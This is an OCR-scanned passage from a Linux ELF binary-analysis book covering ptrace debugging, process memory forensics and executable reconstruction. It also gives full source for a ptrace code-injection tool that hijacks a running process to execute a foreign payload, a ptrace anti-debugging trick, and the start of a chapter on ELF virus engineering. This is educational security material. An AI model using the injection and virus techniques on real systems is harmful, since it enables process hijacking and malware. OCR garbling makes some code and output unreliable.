%ri2 4004do

%r13 7fffe93673bo

%rid:. 0

%ri5:. 0

%rsp: 7fffe93672h8

Please hit any key to continue: c

Executable ./test2 (pid: 7075) has hit breakpoint 0x4005hd
wrex: FFEFFfffffffffff

%rdx: 0
%rbx: 0
%rax: 0

%rdi: 4006a4
%rsi: 7fffe93670e0
%r8: 7fffe93671f0

%r9: 0
%rio: 8
%ril: 246

%ri2 4004do
%ri13 7fffe93673b0O

%rigq: 0

%rils5: 0

%rsp: 7fffe93672h8
ne

Caught SIGINT: Detaching from 7452

So, we have accomplished the coding of simple debugging software that can both execute
a program and trace it, or attach to an existing process and trace it. This demonstrates the
most common type of use cases for ptrace, and most other programs you write that use
ptrace will be variations of the techniques in the tracer.c code.






Advanced function-tracing software

In 2013, I designed a tool that traces function calls. It is quite similar to strace and
ltrace, but instead of tracing syscalls or library calls, it traces every function call made
from the executable. This tool was covered in Chapter 2, The ELF Binary Format, but it is
quite relevant to the topic of ptrace. This is because it is completely dependent on ptrace
and performs some pretty wicked dynamic analysis using control flow monitoring. The
source code can be found on GitHub:

https://github.com/leviathansecurity/ftrace


https://github.com/leviathansecurity/ftrace




ptrace and forensic analysis

The ptrace() command is the system call that is most commonly used for memory
analysis of a userland. In fact, if you are designing forensics software that runs in
userland, the only way it can access other processes memory is through the ptrace system
call, or by reading the proc filesystem (unless, of course, the program has some type of
explicit shared memory IPC setup).

Note

One may attach to a process and then open/lseek/read/write /proc/<pid>/mem as an
alternative to ptrace read/write semantics.

In 2011, I was awarded a contract by the DARPA CFT (Cyber Fast Track) program to
design something called Linux VMA Monitor. The purpose of this software is to detect a
wide range of known and unknown process memory infections, such as rootkits and
memory-resident viruses.

It essentially performs automated intelligent memory forensic analysis on every single
process address space using special heuristics that understands ELF execution. It can spot
anomalies or parasites, such as hijacked functions and generic code infections. The
software can either analyze live memory and work as a host intrusion detection system, or
take snapshots of the process memory and perform an analysis on them. This software can
also detect and disinfect ELF binaries that are infected with viruses on disk.

The ptrace system call is used heavily in the software and demonstrates a lot of
interesting code around the ELF binary and ELF runtime infections. I have not released the
source code as I intend to provide a more production-ready version prior to the release.
Throughout this text, we will cover almost all the infection types that Linux VMA Monitor
can detect/disinfect, and we will discuss and demonstrate the heuristics used to identify
these infections.

For well over a decade, hackers have been hiding complex malware within process
memory to remain stealthy. This may be a combination of shared library injection and
GOT poisoning, or any other set of techniques. The chances of a system administrator
finding these are very slim, especially since there is not a lot of software publicly available
for detecting many of these attacks.

I have released several tools, including but not limited to AVU and ECFS, both of which
can be found on GitHub and my website at http://bitlackeys.org/. Whatever other software
is in existence for such things is highly specialized and privately used, or it simply may
not exist at all. Meanwhile, a good forensics analyst can use a debugger or write custom
software to detect such malware, and it is important to know what you are looking for and
why. Since this chapter is all about ptrace, I wanted to emphasize how it is interrelated
with forensic analysis. And it is, and especially for those who are interested in designing
specialized software for the purpose of identifying threats in memory.

Towards the end of the chapter, we will see how to write a program to detect function


http://bitlackeys.org/

trampolines in running software.



What to look for in the memory

An ELF executable is nearly the same in the memory as it is on the disk, with the exception
of changes to the data segment variables, global offset table, function pointers, and
uninitialized variables (the .bss section).

This means that many of the virus or rootkit techniques that are used in ELF binaries can
also be applied to processes (runtime code), and therefore they are better for an attacker to
remain hidden. We will cover all of these common infection vectors in depth throughout
the book, but here is a list of some techniques that have been used to implement infectious
code:

Infection technique Intended results Residency type

Process memory or

GOT infection Hijacking shared library functions executable file

Process memory or

Procedure linkage table (PLT) infection executable file

Hijacking shared library functions

The .ctors/.dtors function pointer
modification

Process memory or

Altering the control flow to malicious code .
executable file

Process memory or

|executable file

Function trampolines Hijacking any function

Process memory or

Shared library injection executable file

Inserting malicious code

Process memory or

Relocatable code injection executable file

Inserting malicious code

Process memory or

Direct modification to the text segment .
executable file

Inserting malicious code

Process possession (injecting an entire Running a totally different executable program

- . - . Process memor
program into the address space) hidden within an existing process y

Using a combination of ELF format parsing, /proc/<pid>/maps, and ptrace, one can
create a set of heuristics to detect every one of the preceding techniques, and create a
counter method to disinfect the process from the so-called parasite code. We will delve
into all of these techniques throughout the book, primarily in Chapter 4, ELF Virus
Technology — Linux/Unix Viruses and Chapter 6, ELF Binary Forensics in Linux.






Process image reconstruction — from the
memory to the executable

One neat exercise to test our abilities with both the ELF format and ptrace is to design
software that can reconstruct a process image back into a working executable. This is
especially useful for the type of forensic work where we find a suspicious program
running on the system. Extended core file snapshot (ECFS) technology is capable of this
and extends the functionality into an innovative forensics and debugging format that is
backward compatible with the traditional Linux core files’ format. This is available at
https://github.com/elfmaster/ecfs and is further documented in Chapter 8, ECFS —
Extended Core File Snapshot Technology, in this book. Quenya also has this feature and is

available for download at http://www.bitlackeys.org/projects/quenya_32bit.tgz.


https://github.com/elfmaster/ecfs
http://www.bitlackeys.org/projects/quenya_32bit.tgz

Challenges for process-executable reconstruction

In order to reconstruct a process back into an executable we must first consider the
challenges involved, as there are a myriad things to consider. There is one particular type
of variables over which we have no control, and these are the global variables in the
initialized data. They will have possibly changed at runtime to variables dictated by the
code, and we will have no way of knowing what they are supposed to be initialized to
before runtime. We may not even be able to find this out by static code analysis.

The following are the goals for executable reconstruction:

e Take a process ID as an argument and reconstruct that process image back into its
executable file state

e We should construct a minimal set of section headers so that the program can be
analyzed by tools such as objdump and gdb with better accuracy



Challenges for executable reconstruction

Full executable reconstruction is possible, but it comes with some challenges, especially
when reconstructing a dynamically linked executable. Here, we will go over what the
primary challenges are and what the general solution is for each one.

PLT/GOT integrity

The global offset table will be filled in with the resolved values of the corresponding
shared library functions. This was, of course, done by the dynamic linker, and so we must
replace these addresses with the original PLT stub addresses. We do this so that when the
shared library functions are called for the first time, they trigger the dynamic linker
properly through the PLT instruction that pushes the GOT offset onto the stack. Refer to
the ELF and dynamic linking section of Chapter 2, The ELF Binary Format.

The following diagram demonstrates how GOT entries must be restored:

In text segment (.plt section)

PLT 5STUB CODE
push 0x0 -«

In data segment (.got.plt section)
GOTIO] Reserved
GOTI[1] Reserved
GOT[2] Reserved
GOT([4] puts() T A — »

RESOLVED: libc.so.6: puts() function




Adding a section header table

Remember that a program’s section header table is not loaded into the memory at runtime.
This is because it is not needed. When reconstructing a process image back into an
executable, it would be desirable (although not necessary) to add a section header table. It
is perfectly possible to add every section header entry that was on the original executable,
but a good ELF hacker can generate at least the basics.

So try to create a section header for the following sections: .interp, .note, .text,
.dynamic, .got.plt, .data, .bss, .shstrtab, .dynsym, and .dynstr.

Note

If the executable that you are reconstructing is statically linked, then you won’t have the
.dynamic, .got.plt, .dynsym, or .dynstr sections.



The algorithm for the process

Let’s look at executable reconstruction:

1. Locate the base address of the executable (text segment). This can be done by parsing

/proc/<pid>/maps:
[First line of output from /proc/<pid>/maps file for program 'evil']
00400000-401000 r-xp /home/ryan/evil

Tip

Use the PTRACE_PEEKTEXT request with ptrace to read in the entire text segment. You

can see in a line from the preceding maps output that the address range for the text
segment (marked r-xp) is 0x400000 to 6x401000, which is 4096 bytes. So, this is

how large your buffer should be for the text segment. Since we have not covered how
to use PTRACE_PEEKTEXT to read more than a long-sized word at a time, I have written

a function called pid_read() that demonstrates a good way to do this.

[Source code for pid_read() function]
int pid_read(int pid, void *dst, const void *src, size_t len)
{
int sz = len / sizeof(void *);
unsigned char *s = (unsigned char *)src;
unsigned char *d = (unsigned char *)dst;
unsigned long word;
while (sz!'=0) {
word = ptrace(PTRACE_PEEKTEXT, pid, (long *)s, NULL);
if (word == 1)
return 1,
*(long *)d = word;
s += sizeof(long);
d += sizeof(long);
}

return 0O;

}

. Parse the ELF file header (for example, E1f64_Ehdr) to locate the program header
table:

/* Where buffer is the buffer holding the text segment */
E1f64_Ehdr *ehdr (ELf64_Ehdr *)buffer;
E1f64_Phdr *phdr (ELf64_Phdr *)&buffer[ehdr->e_phoff];

. Then parse the program header table to find the data segment:

for (c = 0; ¢ < ehdr>e_phnum; c++)

if (phdr[c].p_type == PT_LOAD && phdr[c].p_offset) {
datavaddr = phdr[c].p_vaddr;
dataSize = phdr[c].p_memsz;
break;

}
pid_read(pid, databuff, datavaddr, dataSize);



4. Read the data segment into a buffer, and locate the dynamic segment within it and
then the GOT. Use d_tag from the dynamic segment to locate the GOT:

Note

We discussed the dynamic segment and its tag values in the Dynamic linking section
of Chapter 2, The ELF Binary Format.

E1f64_Dyn *dyn;
for (¢ = 0; ¢ < ehdr->e_phnum; c++) {
if (phdr[c].p_type == PT_DYNAMIC) {
dyn = (E1f64_Dyn *)&databuff[phdr[c].p_vaddr - dataAddr];
break;
}
if (dyn) {
for (c = 0; dyn[c].d_tag != DT_NULL; c++) {
switch(dyn[c].d_tag) {
case DT_PLTGOT:
gotAddr = dyn[i].d_un.d_ptr;
break;
case DT_STRTAB:
/* Get .dynstr info */
break;
case DT_SYMTAB:
/* Get .dynsym info */
break;
}
3
}

5. Once the GOT has been located, it must be restored to its state prior to runtime. The
part that matters the most is restoring the original PLT stub addresses in each GOT
entry so that lazy linking works at program runtime. See the ELF dynamic linking
section of Chapter 2, The ELF Binary Format:

00000000004003e0 <puts@plt>:

4003e0: ff 25 32 0c 20 00 jmpq *0x200c32(%rip) # 601018
4003e6: 68 00 00 00 00 pushq $0x0

4003eb: e9 e0 ff ff ff jmpq 4003d0 <_init+0x28>

6. The GOT entry that is reserved for puts() should be patched to point back to the PLT
stub code that pushes the GOT offset onto the stack for that entry. The address for
this, 0x4003e6, is given in the preceding command. The method for determining the
GOT-to-PLT entry relationship is left as an exercise for the reader.

7. Optionally reconstruct a section header table. Then write the text and data segment
(and the section header table) to the disk.



Process reconstruction with Quenya on a 32-bit test
environment

A 32-bit ELF executable named dumpme simply prints the You can Dump my segments!
string and then pauses, giving us time to reconstruct it.

Now, the following code demonstrates Quenya reconstructing a process image into an
executable:

[Quenya vO.1@ELFWorkshop]

rebuild 2497 dumpme.out

[+] Beginning analysis for executable reconstruction of process image (pid:
2497)

[+] Getting Loadable segment info..

[+] Found loadable segments: text segment, data segment
Located PLT GOT Vaddr 0x804a000

Relevant GOT entries begin at 0x804a00c

[+] Resolved PLT: 0x8048336

PLT Entries: 5

Patch #1 [

Oxb75f7040] changed to [O0x8048346]

Patch #2 [

0xb75a7190] changed to [O0x8048356]

Patch #3 [

0x8048366] changed to [Ox8048366 ]

Patch #4 [

0xb755a990] changed to [O0x8048376]

[+] Patched GOT with PLT stubs

Successfully rebuilt ELF object from memory
Output executable location: dumpme.out
[Quenya vO.1@ELFWorkshop]

quit

Here, we are demonstrating that the output executable runs correctly:

hacker@ELFWorkshop:~/
workshop/labs/exercise_9% ./dumpme.out
You can Dump my segments!

Quenya has created a minimal section header table for the executable as well:

hacker@ELFWorkshop:~/
workshop/labs/exercise_9% readelf -S
dumpme . out

There are seven section headers, starting at the offset ©x1118, as shown here:



[Mr] Name Tvpe Addr Off Size ES Flg 1k Inf Al
[0] NULL 08048000 | 000000 | ODODOD 00 0 0 0
[1] Anterp | PROGBITS | 08048154 | 000154 | 000013 0o A 0 0 0
2] text PROGBITS | 08048000 | 000000 | 000658 00 AX 0 0 15
[3] _data PROGBITS | 08045%f08 | 000f08 | 000120 00 WA 0 0 4
[4] .dvnamic | DYNAMIC | 08045f14 | 000f14 | 0000e8 08 WA 0 0 4
[5] bss NOBITS | 0804a028 | 001028 | 000004 00 WA 0 0 4
[6] _shstrtab STRTAB | 0804902c | 00102¢c | 0000ec 00 0 0 1

The source code for process reconstruction in Quenya is located primarily in rebuild.c,
and Quenya may be downloaded from my site at http://www.bitlackeys.org/.


http://www.bitlackeys.org/




Code injection with ptrace

So far we have examined some interesting use cases for ptrace, including process
analysis and process image reconstruction. Another common use of ptrace is for
introducing new code into a running process and executing it. This is commonly done by
attackers to modify a running program so that it does something else, such as load a
malicious shared library into the process address space.

In Linux, the default ptrace() behavior is such that it allows you to write Using
PTRACE_POKETEXT to segments that are not writable, such as the text segment. This is
because it is expected that debuggers will need to insert breakpoints into the code. This
works out great for hackers who want to insert code into memory and execute it. To
demonstrate this, we have written code_inject.c. This attaches to a process and injects a
shellcode that will create an anonymous memory mapping large enough to hold our
payload executable, payload.c, which is then injected into the new memory and executed.

Note

As mentioned earlier in this chapter, Linux kernels that are patched with Pax will not
allow ptrace() to write to segments that are not writable. This is for further enforcement
of memory protection restrictions. In the paper ELF runtime infection via GOT poisoning,
I have discussed methods of bypassing these restrictions by manipulating the vsyscall
table with ptrace.

Now, let’s look at a code example where we inject a shellcode into a running process that
loads a foreign executable:

To compile: gcc code_inject.c o code_inject
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>
#define PAGE_ALIGN(x) (X & ~(PAGE_SIZE 1))
#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
#define WORD_ALIGN(x) ((x + 7) & ~7)
#define BASE_ADDRESS 0x00100000
typedef struct handle {
E1f64_Ehdr *ehdr;
E1f64_Phdr *phdr;
E1f64_Shdr *shdr;
uint8_t *mem;
pid_t pid;



uint8_t *shellcode;

char *exec_path;

uinté4_t base;

uint64_t stack;

uint64_t entry;

struct user_regs_struct pt_reg;
} handle_t;

static inline volatile void *

evil_mmap(void *, uint64_t, uint64_t, uint64_t, int64_t, uint64_t)
__attribute__((aligned(8),__always_inline__));

uint64_t injection_code(void *) __attribute__((aligned(8)));
uint64_t get_text_base(pid_t);

int pid_write(int, void *, const void *, size_t);

uint8_t *create_fn_shellcode(void (*fn)(), size_t len);

void *f1
void *f2

= injection_code;
= get_text_base;
static inline volatile long evil_write(long fd, char *buf, unsigned long
len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"Syscall" : : Ilgll(fd)l Ilgll(buf)’ Ilgll(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;

}

static inline volatile int evil_fstat(long fd, struct stat *buf)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $5, %%rax\n"
"syscall" : : "g"(fd), "g"(buf));
asm("mov %%rax, %0" : "=r"(ret));
return ret;

}

static inline volatile int evil_open(const char *path, unsigned long flags)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $2, %%rax\n"
"syscall" : : "g"(path), "g"(flags));
asm ("mov %%rax, %0" : "=r'"(ret));
return ret;



static inline volatile void * evil mmap(void *addr, uint64_t len,
prot, uint64_t flags, int64_t fd, uint64_t off)
{
long mmap_fd = fd;
unsigned long mmap_off = off;
unsigned long mmap_flags = flags;
unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%rio0\n"
"mov %4, %%r8\n"
"mov %5, %%ro\n"
"mov $9, %%rax\n"
"syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags),
"g"(mmap_fd), "g"(mmap_off));
asm ("mov %%rax, %0" : "=r"(ret));
return (void *)ret;

}

uint64_t injection_code(void * vaddr)

{
volatile void *mem;
mem = evil mmap(vaddr, 8192,
PROT_READ | PROT_WRITE|PROT_EXEC,
MAP_PRIVATE |MAP_FIXED |MAP_ANONYMOUS,1,0);
_asm__ __volatile__ ("int3");

}

#define MAX_PATH 512

uint64_t get_text_base(pid_t pid)
{
char maps[MAX_PATH], line[256];
char *start, *p;
FILE *fd;
int 1i;
E1f64_Addr base;
snprintf(maps, MAX_PATH 1,
"/proc/%d/maps", pid);
if ((fd = fopen(maps, "r")) == NULL) {
fprintf(stderr, "Cannot open %s for reading: %s\n", maps,
strerror(errno));
return 1,
}
while (fgets(line, sizeof(line), fd)) {
if (!strstr(line, "rxp"))
continue;
for (1 = 0, start = alloca(32), p = line; *p !="''; i++, p++)
start[i] = *p;

start[i] = '\0';
base = strtoul(start, NULL, 16);
break;

uint64_t



}
fclose(fd);

return base;

}

uint8_t * create_fn_shellcode(void (*fn)(), size_t 1len)
{

size_t i;

uint8_t *shellcode = (uint8_t *)malloc(len);

uint8_t *p = (uint8_t *)fn;

for (1 = 0; 1 < len; i++)

*(shellcode + i) = *p++;

return shellcode;

}

int pid_read(int pid, void *dst, const void *src, size_t len)
{
int sz = len / sizeof(void *);
unsigned char *s (unsigned char *)src;
unsigned char *d (unsigned char *)dst;
long word;
while (sz!=0) {
word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
if (word == 1 && errno) {
fprintf(stderr, "pid_read failed, pid: %d: %s\n",
pid, strerror(errno));
goto fail;
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*(long *)d = word;
s += sizeof(long);
d += sizeof(long);
}
return 0O;
fail:
perror ("PTRACE_PEEKTEXT");
return 1;

}

int pid_write(int pid, void *dest, const void *src, size_t len)
{
size_t quot = len / sizeof(void *);
unsigned char *s = (unsigned char *) src;
unsigned char *d = (unsigned char *) dest;
while (quot!= 0) {
if ( ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1)
goto out_error;
s += sizeof(void *);
d += sizeof(void *);
}
return 0;
out_error:
perror ("PTRACE_POKETEXT");
return 1,

}

int main(int argc, char **argv)



handle_t h;
unsigned long shellcode_size = f2 f1;
int i, fd, status;
uint8_t *executable, *origcode;
struct stat st;
E1f64_Ehdr *ehdr;
if (argc < 3) {
printf("Usage: %s <pid> <executable>\n", argv[0]);
exit(1);
}
h.pid = atoi(argv[1]);
h.exec_path = strdup(argv[2]);
if (ptrace(PTRACE_ATTACH, h.pid) < 0) {
perror ("PTRACE_ATTACH");
exit(1);
}
wait (NULL);
h.base = get_text_base(h.pid);
shellcode_size += 8;
h.shellcode = create_fn_shellcode((void *)&injection_code,
shellcode_size);
origcode = alloca(shellcode_size);
if (pid_read(h.pid, (void *)origcode, (void *)h.base, shellcode_size) <
0)
exit(1);
if (pid_write(h.pid, (void *)h.base, (void *)h.shellcode, shellcode_size)
< 0)
exit(1);
if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_GETREGS");
exit(1);
}
h.pt_reg.rip = h.base;
h.pt_reg.rdi = BASE_ADDRESS;
if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_SETREGS");
exit(1);
}
if (ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0) {
perror ("PTRACE_CONT");
exit(1);
}
wait(&status);
if (WSTOPSIG(status) != SIGTRAP) {
printf("Something went wrong\n");
exit(1);
}
if (pid_write(h.pid, (void *)h.base, (void *)origcode, shellcode_size) <
0)
exit(1);
if ((fd = open(h.exec_path, O_RDONLY)) < 0) {
perror("open");
exit(1);
}
if (fstat(fd, &st) < 0) {



perror("fstat");
exit(1);

}

executable = malloc(WORD_ALIGN(st.st_size));

if (read(fd, executable, st.st_size) < 0) {
perror("read");
exit(1);

}

ehdr = (E1f64_Ehdr *)executable;

h.entry = ehdr->e_entry;

close(fd);

if (pid_write(h.pid, (void *)BASE_ADDRESS, (void *)executable,

st.st_size) < 0)

exit(1);

if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_GETREGS");
exit(1);

}

h.entry = BASE_ADDRESS + h.entry;

h.pt_reg.rip = h.entry;

if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
perror ("PTRACE_SETREGS");
exit(1);

}

if (ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0) {
perror ("PTRACE_CONT");
exit(1);

}

wait (NULL);

exit(0);

}

Here’s the source code for payload.c. It is compiled without 1ibc linking and with
position-independent code:

To Compile: gcc -fpic -pie -nostdlib payload.c -o payload

long _write(long fd, char *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"Syscall" : : Ilgll(fd), Ilgll(buf)’ Ilgll(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;

}

void Exit(long status)

{

__asm__ volatile("mov %0, %%rdi\n"
"mov $60, %%rax\n"
"syscall"™ : : "r'"(status));

}



_start()
{

_write(1, "I am the payload who has hijacked your process!\n", 48);
Exit(0);
}






Simple examples aren’t always so trivial

Although the source code for our code injection doesn’t appear really trivial, the
code_inject.c source code is a slightly dampened-down version of a real memory
infector. I say this because it is limited to injecting position-independent code, and it loads
the text and data segments of the payload executable into the same memory region back to
back.

If the payload program were to reference any variables in the data segment, they would
not work, so in a real scenario, there would have to be proper page alignment between the
two segments. In our case, the payload program is very basic and simply writes a string to
the terminal’s standard output. Also in a real scenario, the attacker generally wants to save
the original instruction pointer and registers and then resume execution at that point after
the shellcode has been run. In our case, we just let the shellcode print a string and then exit
the entire program.

Most hackers inject shared libraries or relocatable code into a process address space. The
idea of injecting complex executables into a process address space is a technique that I’ve
not seen before, other than with my own experimentation and implementations.

Note

A good example of injecting complex programs into a process address space can be found
in the elfdemon source code, which allows a user to inject a full dynamically linked
executable of the ET_EXEC type into an existing process without overwriting the host
program. This task has many challenges and can be found in an experimental project of
mine at the following link:

http://www.bitlackeys.org/projects/elfdemon.tgz


http://www.bitlackeys.org/projects/elfdemon.tgz




Demonstrating the code_inject tool

As we can see, our program injects and executes a shellcode that creates an executable
memory mapping, where the payload program is then injected and executed:

1. Run the host program (the one that you want to infect):

ryan@elfmaster:~$ ./host &
[1] 29656
I am but a simple program, please don't infect me.

2. Run code_inject and tell it to inject the program named payload into the process for
the host:

ryan@elfmaster:~$ ./code_inject “pidof host”™ payload
I am the payload who has hijacked your process!
[1]+ Done ./host

You may have noticed that there appears to be no traditional shellcode (byte code) in
code_inject.c. That’s because the uint64_t injection_code(void *) function is our
shellcode. Since it is already compiled into machine instructions, we just calculated its
length and passed its address to pid_write() in order to inject it into the process. This, in
my opinion, is a more elegant way of doing things than the more common method of
including an array of byte code.






A ptrace anti-debugging trick

The ptrace command can be used as an anti-debugging technique. Often when a hacker
doesn’t want their program to be easily debugged, they include certain anti-debugging

techniques. One popular way in Linux is to use ptrace with the PTRACE_TRACEME request
so that it traces the process of itself.

Remember that a process can only have one tracer at a time, so if a process is already
being traced and a debugger tries to attach using ptrace, it says Operation not
permitted. PTRACE_TRACEME can also be used to check whether your program is already
being debugged. You can use the code in the following section to check this.



Is your program being traced?

Let’s take a look at a code snippet that will use ptrace to find out whether your program
is already being traced:

if (ptrace(PTRACE_TRACEME, 0) < 0) {

printf("This process is being debugged!!!\n");

exit(1);

}

The preceding code works because it should only fail if the program is already being
traced. So, if ptrace returns an error value (less than 0) with PTRACE_TRACEME, you can be
certain that a debugger is present and then exit the program.

Note

If a debugger is not present, then PTRACE_TRACEME will succeed, and now that the program
is tracing itself, any attempts by a debugger to trace the program will fail. So, it is a nice
anti-debugging measure.

As shown in Chapter 1, The Linux Environment and Its Tools, the LD_PRELOAD
environment variable may be used to bypass this anti-debug measure by tricking the
program into loading a fake ptrace command that does nothing but return o, and will
therefore not have any effect against debuggers. On the contrary, if a program uses the
ptrace anti-debugging trick without using the 1ibc ptrace wrapper—and instead creates
its own wrapper—then the LD_PRELOAD trick will not work. This is because the program is
not relying on any library for access to ptrace.

Here is an alternative way to use ptrace by writing your own wrapper for it. We will be
using the x86_64 ptrace wrapper in this example:

#define SYS_PTRACE 101
long my_ptrace(long request, long pid, void *addr, void *data)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%rio\n"
"mov $SYS_PTRACE, %%rax\n"

"syscall" : : "g"(request), "g"(pid),
"g"(addr), "g"(data));
__asm__ volatile("mov %%rax, %0" : "=r"(ret));

return ret;






Summary

In this chapter, you learned about the importance of the ptrace system call and how it can
be used in conjunction with viruses and memory infections. On the flip side, it is a
powerful tool for security researchers, reverse engineering, and advanced hot patching
techniques.

The ptrace system call will be used periodically throughout the rest of this book. Let this
chapter serve only as a primer.

In the next chapter, we will cover the exciting world of Linux ELF virus infection and the
engineering practices behind virus creation.






Chapter 4. ELF Virus Technology —
Linux/Unix Viruses

The art of virus writing has been around for several decades now. In fact, it goes all the
way back to the Elk Cloner Apple virus that was successfully launched in the wild in 1981
through a floppy disk video game. Since the mid ’80s and through the *90s, there have
been various secret groups and hackers who have used their arcane knowledge to design,
release, and publish viruses in virus and hacker e-zines (see

http://vxheaven.org/lib/static/vdat/ezines1.htm).

The art of virus writing is usually of great inspiration to hackers and underground
technical enthusiasts, not because of the destruction that they are capable of, but rather the
challenge in designing them and the unconventional coding techniques that are required to
succeed in programming a parasite that keeps its residency by hiding in other executables
and processes. Also, the techniques and solutions that come with keeping a parasite
stealthy, such as polymorphic and metamorphic code, present a unique challenge to
programmers.

UNIX viruses have been around since the early *90s, but I think many would agree to say
that the true father of the UNIX virus is Silvio Cesare
(http://vxheaven.org/lib/vsc02.html), who published many papers in the late 90s on ELF
virus infection methods. These methods are still being used today in different variations.

Silvio was the first to publish some awesome techniques, such as PLT/GOT redirection,
text segment padding infections, data segment infections, relocatable code injection,
/dev/kmem patching, and kernel function hijacking. Not only that, but he personally played
a big role in my introduction to ELF binary hacking, and I will always remain grateful for
his influence.

In this chapter, we will discuss why it is important to understand ELF virus technology
and how to design them. The technology behind an ELF virus can be utilized for many
things other than writing viruses, such as general binary patching and hot patching, which
can be used in security, software engineering, and reversing. In order to reverse-engineer a
virus, it would behoove you to understand how many of them work. It is worth noting that
I recently reverse-engineered and wrote a profile for a unique and exceptional ELF virus
called Retaliation. This work can be found at http://www.bitlackeys.org/#retaliation.
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ELF virus technology

The world of ELF virus technology shall open up many doors to you as a hacker and
engineer. To begin, let’s discuss what an ELF virus is. Every executable program has a
control flow, also called the path of execution. The first aim of an ELF virus is to hijack
the control flow so that the path of execution is temporarily altered in order to execute the
parasite code. The parasite code is usually responsible for setting up hooks to hijack
functions and also for copying itself (the body of the parasite code) into another program
that hasn’t yet been infected by the virus. Once the parasite code is done running, it
usually jumps to the original entry point or the regular path of execution. This way, the
virus goes unnoticed, since the host program appears to be executing normally.

Generic executable infectiunb]

~

0x8048000 .text segment

0x80482f0

Parasite code
Jump to original entry point

0x8049100
.data segment

Figure 4.1: Generic infection to an executable






ELF virus engineering challenges

The design phase of an ELF virus may be considered an artistic endeavor, requiring
creative thinking and clever constructs; many passionate coders will agree with this.
Meanwhile, it is a great engineering challenge that exceeds the regular conventions of
programming, requiring the developer to think outside conventional paradigms and to
manipulate the code, data, and environment into behaving a certain way. At one point in
time, I did a security assessment at a large antivirus (AV) company for one of their
products. While talking with the developers of the AV software, I was amazed that next to
none of them had any real idea of how to engineer a virus, let alone design any real
heuristics for identifying them (other than signatures). The truth is that virus writing is
difficult, and requires serious skill. There are a number of challenges that come into play
when engineering them, and before we discuss the engineering components, let’s look at
what some of these challenges are.



Parasite code must be self-contained

A parasite must be able to physically exist inside another program. This means that it does
not have the luxury of linking to outside libraries through the dynamic linker. The parasite
must be self-contained, which means that it relies on no external linking, is position
independent, and is able to dynamically calculate memory addresses within itself; this is
because the addresses will change between each infection, since the parasite will be
injected into an existing binary where its position will change each time. This means that
if the parasite code references a function or a string by its address, the hardcoded address
will change and the code will fail; instead, use IP-relative code with a function that
calculates the address of the code/data by its offset to the instruction pointer.

Note

In some more complex memory viruses such as my Saruman virus, I allow the parasite to
be compiled as an executable program with dynamic linking, but the code to launch it into
a process address space is very complicated, because it must handle relocations and
dynamic linking manually. There are also relocatable code injectors such as Quenya,
which allow a parasite to be compiled as relocatable objects, but the infector must be able
to support handling relocations during the infection phase.

Solution

Compile your initial virus executable with the gcc option -nostdlib. You may also
compile it with -fpic -pie to make the executable position-independent code (PIC).
The IP-relative addressing available on x86_64 machines is actually a nice feature for
virus writers. Create your own common functions, such as strcpy() and memcmp (). When
you need advanced functionality such as heap allocation with malloc(), you may instead
use sys_brk() or sys_mmap() to create your own allocation routines. Create your own
syscall wrappers, for example, a wrapper for the mmap syscall is shown here, using C and
inline assembly:

#define _ NR_MMAP 9
void *_mmap(unsigned long addr, unsigned long len, unsigned long prot,
unsigned long flags, long fd, unsigned long off)
{
long mmap_fd = fd;
unsigned long mmap_off = off;
unsigned long mmap_flags = flags;
unsigned long ret;

__asm__ volatile(

"mov %0, %%rdi\n"

"mov %1, %%rsi\n"

"mov %2, %%rdx\n"

"mov %3, %%ri0\n"

"mov %4, %%rs8\n"

"mov %5, %%ro\n"

"mov $__ NR_MMAP, %%rax\n"

"syscall\n" : : "g"(addr), "g"(len), "g"(prot),



"g"(flags), "g"(mmap_fd), "g"(mmap_off));
__asm__ volatile ("mov %%rax, %0" : "=r"(ret));
return (void *)ret;

}

Once you have a wrapper calling the mmap () syscall, you can create a simple malloc
routine.

The malloc function is used to allocate memory on the heap. Our little malloc function
uses a memory-mapped segment for each allocation, which is inefficient but suffices for
simple use cases:

void * _malloc(size_t len)

{
void *mem = _mmap(NULL, len,

PROT_READ |PROT_WRITE, MAP_PRIVATE |MAP_ANONYMOUS, -1, 0);
if (mem == (void *)-1)

return NULL;
return mem;



Complications with string storage

This challenge rather blends in with the last section on self-contained code. When
handling strings in your virus code, you may have:

const char *name = "elfmaster";
14

You will want to tend to stay away from code such as the preceding one. This is because
the compiler will likely store the elfmaster data in the .rodata section, and then
reference that string by its address. The address will not be valid once the virus executable
is injected inside another program. This problem is really coupled with the problem of
hardcoded addresses that we discussed earlier.

Solution
Use the stack to store strings so that they are dynamically allocated at runtime:
char name[10] = {'e', '1', 'f', 'm', 'a', 's', 't', 'e', 'r', '\0'},

Another neat trick that I just recently discovered during the construction of the Skeksi
virus for 64-bit Linux is to merge the text and data segment into a single segment, that is,
